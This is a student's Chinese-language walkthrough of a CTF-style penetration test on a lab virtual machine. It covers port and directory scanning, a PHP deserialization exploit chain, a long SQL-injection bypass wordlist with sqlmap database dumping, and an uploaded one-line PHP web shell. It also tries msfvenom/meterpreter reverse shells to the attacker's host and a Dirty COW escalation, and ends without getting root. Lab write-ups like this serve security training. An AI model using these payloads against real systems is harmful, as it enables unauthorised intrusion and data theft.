任务描述
学长们对上次黑我们服务器的黑客进行了反击,获取了目标服务器的镜像 ,看看你们能不能 成功攻击这个服务器 本次考核主要是考察CTF内容和简单渗透知识,需要同学们通过靶机暴露的信息找到漏 洞,并最后得到目标靶机的root权限,并找到root下的flag。
1.信息收集 确定靶机的ip地址 靶机下载好后,在vm成功打开,它就自己给了我们ip地址,因此不需要向之前那样去对比确认靶机的ip地址
这里我们得知靶机的ip是 192.168.110.172(跟虚拟机的网段不一样,可能是因为用桥接模式吧)
靶机端口扫描 这里我是跟着之前一个渗透测试作业的步骤来的,先用nmap进行全端口扫描
1 sudo nmap --min-rate 10000 -p- 192.168.110.172
再分别对靶机进行SYN端口扫描
1 sudo nmap -sS -p- 192.168.110.172
然后进行TCP端口扫描
1 sudo nmap -sT -p- 192.168.110.172
再进行UDP端口扫描(时间有点长、可能因为是-p- 全端口吧)
1 sudo nmap -sU -p- 192.168.110.172
扫描太慢了,还是指定扫描刚才开放的端口吧(看之前作业的b站参考视频也是这样做的)
1 sudo nmap -sU -p22,25 ,80 ,110 ,5355 192.168.110.172
这次扫描就很快,但是不确定这些端口是否开放。
接着就是查看服务版本和操作系统
1 sudo nmap -sV -O -p22,25 ,80 ,110 ,5355 192.168.110.172
感觉有点奇怪,25号端口之前是smtp;110之前是pop3现在都是是tcpwrapped,5355是llmnr为什么还加个?是不确认吗?再扫描了一遍还是一样的结果。
查了一下,感觉等一下渗透可以从这些方面试试看。
之后进行关键的漏洞扫描
1 sudo nmap --script=vuln -p22,25 ,80 ,110 ,5355 192.168.110.172
有点多,不过越多越好哈哈哈哈哈,其实也不是很多。中间那个内容看不是很懂,拿去翻译一下比较容易理解。
目录扫描 感觉相比御剑,dirsearch好像好用一点。
1 dirsearch -u http:// 192.168 .110.172
就3个能访问的,依次打开看看。
/flag.php 不知道为什么啥都没有
再试试/index.php
一看就是非常有用的线索,先保存起来。
再试试/index.php/login/
还是跟刚才一样的界面。
尝试发现漏洞和渗透 index.php文件尝试 看了一下大致的内容,好像和ctf中反序列化的题目一点相似,于是去csdn翻了一下这种类型的题目
https://blog.csdn.net/qq_35493457/article/details/119735063?spm=1001.2014.3001.5506
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php error_reporting (0 );class web { public $b1 ; public function __invoke ( ) { $this ->b1->web (); } public function __wakeup ( ) { die ("不许反序列化哦" ); } }class pwn { public $r1 ; public function __destruct ( ) { echo $this ->r1 . ' --0xfa' ; } public function execute ( ) { ($this ->r1)(); } public function __call ($a , $b ) { echo $this ->r1->getFlag (); } }class misc { public $w ; public function __toString ( ) { $this ->w->execute (); return 'welcome to this game, hope you have a great day' ; } }class ctf { public $c1 ; public function execute ( ) { ($this ->c1)(); } public function getFlag ( ) { require 'flag.php' ; echo $FLAG ; } }if (!empty ($_POST ['cmd' ])) { unserialize ($_POST ['cmd' ]); }else { highlight_file (__FILE__ ); }
显然这里存在反序列漏洞,一些魔法函数参考 ,还有这个更加全面的文章
代码中有四个类 web、pwn、misc 和 ctf
web:_wakeup()是在反序列化对象时被调用。,当unserialize的时候,会检查时候存在wakeup()函数,如果存在 的话,会优先调用wakeup()函数。(wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么i就调用wakeup()函数,如果该数字大于真实属性个数,就会绕过wakeup()函数。)
__invoke() 方法在对象被当成函数调用时被调用。
pwn:__destruct()当删除一个对象或对象操作终止时被调用。
execute() 方法在对象被调用时被调用
__call() 当对象调用某个方法的时候,若方法存在,则直接调用;若不存在,则会去调用call函数
misc:__toString()打印一个对象的时被调用。如 echo $obj ,或 print $obj;
总体分析:应该用post方式,同时要绕过____wakeup(),然后尝试触发__call()魔法,进而触发getFlag(),看能不能得到flag。(但是感觉不会这么简单,毕竟考核要求中有说到root权限,而这里并没有提权这一操作,也没有说到权限,先试试看吧)
先尝试一下能不能触发”不许反序列化哦”
发现并不行,可能我代码有问题。还是我的HackBar有问题。先去找一道简单的post传参题
一看没问题,那就是我的代码问题了(那个php本身应该是没问题的吧)
后来把代码复制到本地,把代码中的post改成get,再同样用hackbar传参,发现可以(未url编码)。然后又去网址用post但未url编码尝试,也可以,看来是我格式问题哈哈哈哈,白花了那么多时间。
接下来就是尝试读取flag了。自己试了一晚上,还是不行,还是先去看看反序列化的题吧。
尝试一下,整了快一天,还是不行,
关于__wakeup的绕过,看到了这个
没能看到它的php版本,不管了,先试试看。
欸,过了好久还不行。
1 O :3 :"web" :1 :{s:2 :"b1" ;O:3 :"pwn" :2 :{s:2 :"r1" ;O:4 :"misc" :1 :{s:1 :"w" ;O:3 :"ctf" :1 :{s:2 :"c1" ;s:7 :"execute" ;}}s:4 :"flag" ;s:7 :"getFlag" ;}}
干脆先在本地搭一个环境
先不去考虑__wakeup这个魔法函数的绕过,这个放在之后再解决。同时删除那个隐藏报错的代码,方便进行调试,再建一个flag.php文件。
尝试
1 O :3 :"pwn" :1 :{s:2 :"r1" ;s:1 :"1" ;O:3 :"ctf" :1 :{s:2 :"c1" ;O:4 :"web" :1 :{s:2 :"b1" ;O:3 :"pwn" :1 :{s:2 :"r1" ;s:1 :"1" ;}}}}
但没有输出flag,输出“–0xfa”,但后面还是错了。把赋值“1”改成“ctf”,还是出错
去翻了ctf新生杯Easy_pop那道题学长的题解
从头开始看,从getflag()开始,要想触发getflag()得先触发pwn中得__call(),而call()需要调用不存在的方法。也就是说web类中的invoke()中的web()可以触发call()。
同时,要想能够开始,应该以pwn中的destruct()开始(__destruct()是类的析构函数,在对象被销毁时执行该函数,也就是说只要我们实例化了a,在它被销毁的时候(一般在程序结束时),这个函数中的变量就会自动调用)
然后可以通过destruct触发misc的tostring()
1 2 3 4 5 6 7 8 $web = new web () ;$pwn = new pwn ();$misc = new misc ();$ctf = new ctf ();$pwn ->r1 = $misc ;$misc ->w = $ctf ;$ctf ->c1 = $web ;$web ->b1 = $pwn ;
destruct()–>tostring()–>execute()–>invoke()–>call()–>getflag()
但是问题是,destruct()跟call()在同一个类中,它们的r1在一开始就赋给了misc,因此call()就 无法触发ctf中的getflag()。
于是再创一个pwn2
1 2 3 4 5 6 7 8 9 10 11 12 13 $web = new web () ;$pwn = new pwn ();$misc = new misc ();$ctf = new ctf ();$pwn2 = new pwn ();$pwn ->r1 = $misc ;$misc ->w = $ctf ;$ctf ->c1 = $web ;$web ->b1 = $pwn2 ;$pwn2 ->r1 = $ctf ;echo serialize ($pwn2 );
1 cmd=O:3 :"pwn" :1 :{s:2 :"r1" ;O:3 :"ctf" :1 :{s:2 :"c1" ;O:3 :"web" :1 :{s:2 :"b1" ;r:1 ;}}}
在本地测试成功,虽然会报错,但是还是可以输出flag,但在浏览器上就只输出了报错,并没有其他
显然,payload的构造还是没有完全正确,这里比较难处理的点在于destruct()和call()两个都在pwn类里,而且都是用的r1。且pwn中的destruct()应该是用来带动其他魔法函数的进行的,它执行后输出的字符串可以触发misc类中的tostring(),但同时要想得到flag,需要触发ctf类中的getflag(),而getflag()由pwn类中的call触发。这样看来,需要$pwn->r1=$misc 与$pwn->r1=$ctf,显然是矛盾的,应该需要正确构造两个pwn对象,一个指向ctf,一个向misc。
1 2 3 4 5 6 7 8 9 10 11 12 13 $web = new web () ;$pwn = new pwn ();$misc = new misc ();$ctf = new ctf ();$pwn2 = new pwn ();$pwn ->r1 = $misc ;$misc ->w = $ctf ;$ctf ->c1 = $web ;$web ->b1 = $pwn2 ;$pwn2 ->r1 = $ctf ;echo serialize ($pwn );
1 O :3 :"pwn" :1 :{s:2 :"r1" ;O:4 :"misc" :1 :{s:1 :"w" ;O:3 :"ctf" :1 :{s:2 :"c1" ;O:3 :"web" :1 :{s:2 :"b1" ;O:3 :"pwn" :1 :{s:2 :"r1" ;r:3 ;}}}}}
把pwn2改成serialize($pwn)发现可以了(最先触发pwn中的destruct()方法)
害,光这个就卡了好久。(发现靶机的ip居然会变化,变成了192.168.110.173)
登录界面的尝试 刚才得到的/Redr/oCk/index.php,将其加在域名后面并访问
尝试用bp对其爆破,先爆破用户名为redrock、REDROCK、root、ROOT、user、admin
密码采用网上找的字典 (这边勾选了总是追随重定向)
没能破开
再次扫描目录
1 dirsearch -u http:// 192.168 .110.173 // Redr/oCk/
访问得到
在这个界面暂时无思路,返回登录界面尝试sql注入,使用burpsuite来拦截请求,之后使用爆破模块来跑SQL的字符字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 '-' ' ' '&' '^' '*' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*'"-" " " "&" "^" "*" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true--" or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x" or " x"=" x") or (" x")=(" x")) or ((" x"))=((" x or 1 =1 or 1 =1 -- or 1 =1 # or 1 =1 /* admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1 '='1 '# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1 =1 -- admin' or 1=1# admin' or 1 =1 /* admin') or ('1 '='1 admin') or ('1 '='1 '-- admin') or ('1'='1'# admin') or ('1 '='1 '/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1 '='1 '# admin') or '1'='1'/*1234 ' AND 1=0 UNION ALL SELECT 'admin', '81 dc9bdb52d04dc20036dbd8313ed055 admin" -- admin" # admin"/* admin" or " 1 "=" 1 admin" or " 1 "=" 1 "-- admin" or " 1 "=" 1 "# admin" or " 1 "=" 1 "/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or (" 1 "=" 1 admin") or (" 1 "=" 1 "-- admin") or (" 1 "=" 1 "# admin") or (" 1 "=" 1 "/* admin") or " 1 "=" 1 admin") or " 1 "=" 1 "-- admin") or " 1 "=" 1 "# admin") or " 1 "=" 1 "/* 1234 " AND 1=0 UNION ALL SELECT " admin", " 81 dc9bdb52d04dc20036dbd8313ed055
发现了一个和其他响应不同的地方(’ or true–),可以看出密码是用md5加密过的。
1 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '25d55ad283aa400af464c76d713c07ad'' at line 1登录失败1
还有许多类似这样的报错,但暂时不知道如何利用。
这里的登录界面没回显,考虑盲注
先用bp把post请求粘贴复制到1.txt,再传到虚拟机,采用sqlmap扫描
存在注入漏洞和时间盲注,尝试爆出数据库
指定数据库,爆表
1 sqlmap -r 1 .txt -D user --tables
指定表,爆列
1 sqlmap -r 1 .txt -D user -T user --column
最后,爆字段
1 sqlmap -r 1 .txt -D user -T user -C "password,username" --dump
将密码放到md5解密得到
所以得到用户名为admin,密码为123qweasdzxc
成功登录,蚁剑连接 输入正确的账号密码,成功登录,发现一个文件上传功能
随便上传一个jpg图片,出现报错(明明里面就111三个数字,没有木马)
试试png图片,提示让我们上传png文件,可这明明就是png文件
图片查看也没找到
后来想起之前扫到的那个upload路径,访问一下,发现确实存在
接着上传图片马,再用bp改成.php文件,发现直接可以上传
1 <?php @eval ($_POST ['aaa' ]);?>
接着用蚁剑连接
发现不能直接读取flag,应该还是要提权到root权限
提权,获得flag 打开蚁剑的虚拟终端,输入
发现当前是www-data权限
好吧有点多此一举,它自己已经告诉我了,我没仔细看。
发现行不通,看看有没有内核漏洞,好像有
1 searchsploit Ubuntu 16 .10
但好像在蚁剑虚拟终端并不能运行40762.c文件
又发现一个漏洞
按这个文章的操作进行,但是直接在蚁剑上操作好像不行,连cd CVE-2016-5195文件夹都不行,欸,于是想尝试反弹shell到kali上看行不行
1 2 3 msfconsole msfvenom -p php/meterpreter/reverse_tcp LHOST =192.168.183.129 LPORT =4444 -f raw > shell.php
1 2 3 4 5 6 use exploit/multi/handlerset payload php/meterpreter/reverse_tcpset payload linux/x86/meterpreter/reverse_tcpset lhost 192.168.183.129set lport 1234 exploit
1 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST =192.168.183.129 LPORT =1234 to -f elf > ruchong.elf
被这个烦到了,怎么搞都不行,重装也不行,后来发现自己真是sb,指令输错了,正确的应该是
加了可执行权限,发现居然不能收到反弹,不知道为什么
算了,再想想办法。欸,还是能力不足。
80端口CVE-2007-6750(没用) 想到之前漏洞扫描扫到了一个CVE-2007-6750漏洞,看能不能利用。
参考文章
发现好像只能造成页面拒绝服务
爆破不出什么
1 nmap --script=brute 192.168.110.173